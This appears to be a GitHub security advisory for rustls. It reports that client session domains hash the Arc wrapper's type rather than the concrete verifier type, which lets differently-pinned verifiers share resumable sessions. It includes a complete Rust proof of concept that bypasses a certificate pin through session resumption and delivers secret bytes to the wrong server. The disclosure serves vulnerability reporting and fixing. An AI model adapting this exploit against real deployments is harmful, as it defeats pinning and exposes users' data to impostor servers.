#3303·rustls

F05: Session domains hash Arc wrapper types instead of policy implementations

Author: djcCreated Sep 30, 2026Updated Sep 30, 2026

F05: Session domains hash Arc wrapper types instead of policy implementations

  • Finding: Session policy isolation failure
  • Affected Software: rustls 0.24.0-dev.1 (development snapshot 99f2358cae29), client session domains.
  • Date: September 2026
  • Discoverer: OpenAI ([email protected])

In a shared client session cache, different custom verifier or credential-resolver types can share a session domain despite implementing different fixed policies. SecurityDomain::new calls type_id() on Arc<dyn Trait>, identifying the wrapper type. With equal instance-configuration hashes, a stricter verifier resumes a session it rejects when fresh; different credential resolvers can also resume as the earlier mTLS identity.

Cause and prior work

#2284 established policy separation, #2361 enforced pointer identity, and #2722 replaced it with hashing. This is an incomplete enforcement regression in that replacement: the promised concrete implementation identity is absent. It does not depend on dishonestly omitting instance-dependent data from hash_config.

Release 0.23.45 retains pointer identity and does not have this mechanism.

Source: rustls/src/client/config.rs.

Reproduction

For each TLS version, use ordinary WebPKI verification and an additional fixed pin in a distinct verifier type. The pinning wrapper hashes all instance-dependent configuration. Verify that a fresh pinned connection fails; seed the shared cache through the normal verifier; then connect through the pinned verifier and check that it resumes without invoking the pin.

Use the existing rustls/ checkout at 99f2358cae29 and a standalone sibling repro/ directory outside its Cargo workspace. Save the blocks below as repro/Cargo.toml and repro/src/main.rs; run the commands from the directory containing both rustls/ and repro/.

toml
[package]
name = "pki-session-domain-poc"
version = "0.0.0"
edition = "2024"

[workspace]

[dependencies]
rustls = { path = "../rustls/rustls", default-features = false, features = ["webpki"] }
rustls-ring = { path = "../rustls/rustls-ring" }
rust
use std::any::Any;
use std::hash::Hasher;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};

use rustls::client::danger::{
    HandshakeSignatureValid, ServerIdentity, ServerVerifier, SignatureVerificationInput,
};
use rustls::client::{Resumption, WebPkiServerVerifier};
use rustls::crypto::{Identity, SignatureScheme, VerifiedIdentity};
use rustls::error::{CertificateError, Error};
use rustls::pki_types::{CertificateDer, PrivateKeyDer, pem::PemObject};
use rustls::{
    ClientConfig, ClientConnection, Connection, HandshakeKind, RootCertStore, ServerConfig,
    ServerConnection, VecInput,
};

// This wrapper performs normal PKI checks and an additional fixed certificate pin.
// The policy lives in the implementation type; its instance configuration is `inner`.
#[derive(Debug)]
struct PinnedVerifier {
    inner: Arc<WebPkiServerVerifier>,
    calls: Arc<AtomicUsize>,
}

impl ServerVerifier for PinnedVerifier {
    fn verify_identity<'a>(
        &self,
        identity: &ServerIdentity<'a, '_>,
    ) -> Result<VerifiedIdentity<'a>, Error> {
        self.calls
            .fetch_add(1, Ordering::SeqCst);

        // Apply the pin only after the ordinary PKI check succeeds.
        let verified = self.inner.verify_identity(identity)?;
        match verified.identity() {
            Identity::X509(chain)
                if chain.end_entity.as_ref()
                    == include_bytes!("../../rustls/test-ca/ecdsa-p256/end.der") =>
            {
                Ok(verified)
            }
            _ => Err(CertificateError::ApplicationVerificationFailure.into()),
        }
    }

    fn verify_tls12_signature(
        &self,
        input: &SignatureVerificationInput<'_>,
    ) -> Result<HandshakeSignatureValid, Error> {
        self.inner.verify_tls12_signature(input)
    }

    fn verify_tls13_signature(
        &self,
        input: &SignatureVerificationInput<'_>,
    ) -> Result<HandshakeSignatureValid, Error> {
        self.inner.verify_tls13_signature(input)
    }

    fn supported_verify_schemes(&self) -> Vec<SignatureScheme> {
        self.inner.supported_verify_schemes()
    }

    fn request_ocsp_response(&self) -> bool {
        self.inner.request_ocsp_response()
    }

    fn hash_config(&self, h: &mut dyn Hasher) {
        // Hash all instance policy configuration, as required by the trait.
        // ClientConfig promises that different implementation TypeIds are also hashed.
        self.inner.hash_config(h);
    }
}

fn transfer(output: &mut Vec<u8>, input: &mut VecInput) {
    let mut remaining = output.as_slice();
    while !remaining.is_empty() {
        assert!(input.read(&mut remaining).unwrap() > 0);
    }

    output.clear();
}

fn handshake(
    client_config: Arc<ClientConfig>,
    server_config: Arc<ServerConfig>,
) -> Result<(ClientConnection, ServerConnection), Error> {
    let mut client_output = Vec::new();
    let mut client = client_config
        .connect("localhost".try_into().unwrap())
        .build(&mut client_output)?;
    let mut server = ServerConnection::new(server_config)?;
    let mut client_input = VecInput::default();
    let mut server_input = VecInput::default();
    let mut server_output = Vec::new();

    // Exchange handshake flights until the handshake completes.
    for _ in 0..20 {
        transfer(&mut client_output, &mut server_input);
        server
            .read_tls(&mut server_input, &mut server_output)
            .handle_all(&mut Vec::new())?;

        transfer(&mut server_output, &mut client_input);
        client
            .read_tls(&mut client_input, &mut client_output)
            .handle_all(&mut Vec::new())?;

        if !client.is_handshaking()
            && !server.is_handshaking()
            && client_output.is_empty()
            && server_output.is_empty()
        {
            return Ok((client, server));
        }
    }
    panic!("handshake did not finish");
}

fn main() {
    for (name, provider) in [
        ("TLS1.2", rustls_ring::DEFAULT_TLS12_PROVIDER),
        ("TLS1.3", rustls_ring::DEFAULT_TLS13_PROVIDER),
    ] {
        // Trust both fixture CAs; the extra pin, not ordinary PKI, distinguishes the policies.
        let provider = Arc::new(provider);
        let mut roots = RootCertStore::empty();
        for der in [
            include_bytes!("../../rustls/test-ca/rsa-2048/ca.der").as_slice(),
            include_bytes!("../../rustls/test-ca/ecdsa-p256/ca.der").as_slice(),
        ] {
            roots
                .add(CertificateDer::from(der))
                .unwrap();
        }

        // Create distinct verifier types with the same hashed instance policy.
        let inner = Arc::new(
            WebPkiServerVerifier::builder(Arc::new(roots), &provider)
                .build()
                .unwrap(),
        );
        let calls = Arc::new(AtomicUsize::new(0));
        let broad_verifier: Arc<dyn ServerVerifier> = inner.clone();
        let pinned_verifier: Arc<dyn ServerVerifier> = Arc::new(PinnedVerifier {
            inner,
            calls: calls.clone(),
        });

        assert_eq!(broad_verifier.type_id(), pinned_verifier.type_id());
        println!("{name}: different verifier implementations have equal Arc::type_id()");

        // Share a cache across the two policies and retain a no-resumption control.
        let broad = ClientConfig::builder(provider.clone())
            .dangerous()
            .with_custom_certificate_verifier(broad_verifier)
            .with_no_client_auth()
            .unwrap();
        let mut pinned = broad.clone();
        pinned
            .dangerous()
            .set_certificate_verifier(pinned_verifier);
        let mut isolated = pinned.clone();
        isolated.resumption = Resumption::disabled();

        // Use the RSA identity: trusted by PKI but different from the fixed ECDSA pin.
        let certs = CertificateDer::pem_slice_iter(include_bytes!(
            "../../rustls/test-ca/rsa-2048/end.fullchain"
        ))
        .map(Result::unwrap)
        .collect();
        let key =
            PrivateKeyDer::from_pem_slice(include_bytes!("../../rustls/test-ca/rsa-2048/end.key"))
                .unwrap();
        let server = Arc::new(
            ServerConfig::builder(provider)
                .with_no_client_auth()
                .with_single_cert(Arc::new(Identity::from_cert_chain(certs).unwrap()), key)
                .unwrap(),
        );

        // First prove that the pinned policy rejects a fresh connection.
        let error = match handshake(Arc::new(isolated), server.clone()) {
            Err(error) => error,
            Ok(_) => panic!("pinned full handshake unexpectedly succeeded"),
        };
        assert_eq!(
            error,
            Error::InvalidCertificate(CertificateError::ApplicationVerificationFailure)
        );
        assert_eq!(calls.load(Ordering::SeqCst), 1);
        println!("{name}: pinned full handshake rejects wrong certificate: {error:?}");

        // Seed through ordinary PKI, then test resumption through the stricter policy.
        let (broad_client, _) = handshake(Arc::new(broad), server.clone()).unwrap();
        assert_eq!(broad_client.handshake_kind(), Some(HandshakeKind::Full));
        println!("{name}: normal WebPKI handshake succeeds and seeds shared cache");

        let (mut pinned_client, mut wrong_server) = handshake(Arc::new(pinned), server).unwrap();
        assert_eq!(pinned_client.handshake_kind(), Some(HandshakeKind::Resumed));
        assert_eq!(calls.load(Ordering::SeqCst), 1);
        println!("{name}: pinned client RESUMES across verifier types; pin check never called");

        // Confirm that application data reaches the identity the fresh pinned check rejected.
        let secret = b"secret intended only for the pinned identity";
        let mut encrypted = Vec::new();
        pinned_client
            .write(secret.as_slice().into(), &mut encrypted)
            .unwrap();
        let mut server_input = VecInput::default();
        transfer(&mut encrypted, &mut server_input);
        let mut disclosed = Vec::new();
        wrong_server
            .read_tls(&mut server_input, &mut Vec::new())
            .handle_all(&mut disclosed)
            .unwrap();

        assert_eq!(disclosed, secret);
        println!(
            "{name}: wrong-certificate server received {} secret bytes",
            disclosed.len()
        );
    }
}
bash
cargo +1.98.1 run --release --manifest-path repro/Cargo.toml

Result

In TLS 1.2 and 1.3, fresh pinning rejected the wrong certificate; the shared-cache connection resumed without a pin check and the wrong server received 44 application bytes. A separate honest credential-resolver witness restored the earlier mTLS principal and transferred 27 bytes intended for that principal.

Built-in resolvers with different correctly hashed runtime identities were not shown to collide. The failure follows Rust method dispatch, not architecture-specific TypeId values.

Suggested correction

Obtain concrete implementation identity through a genuine object-safe dispatch mechanism, or retain another reliable policy-isolation rule. Merely writing .as_ref().type_id() is insufficient unless the traits provide the required dynamic Any dispatch. Separate caches avoid the reproduced collision.

Disclaimer

This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.

OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.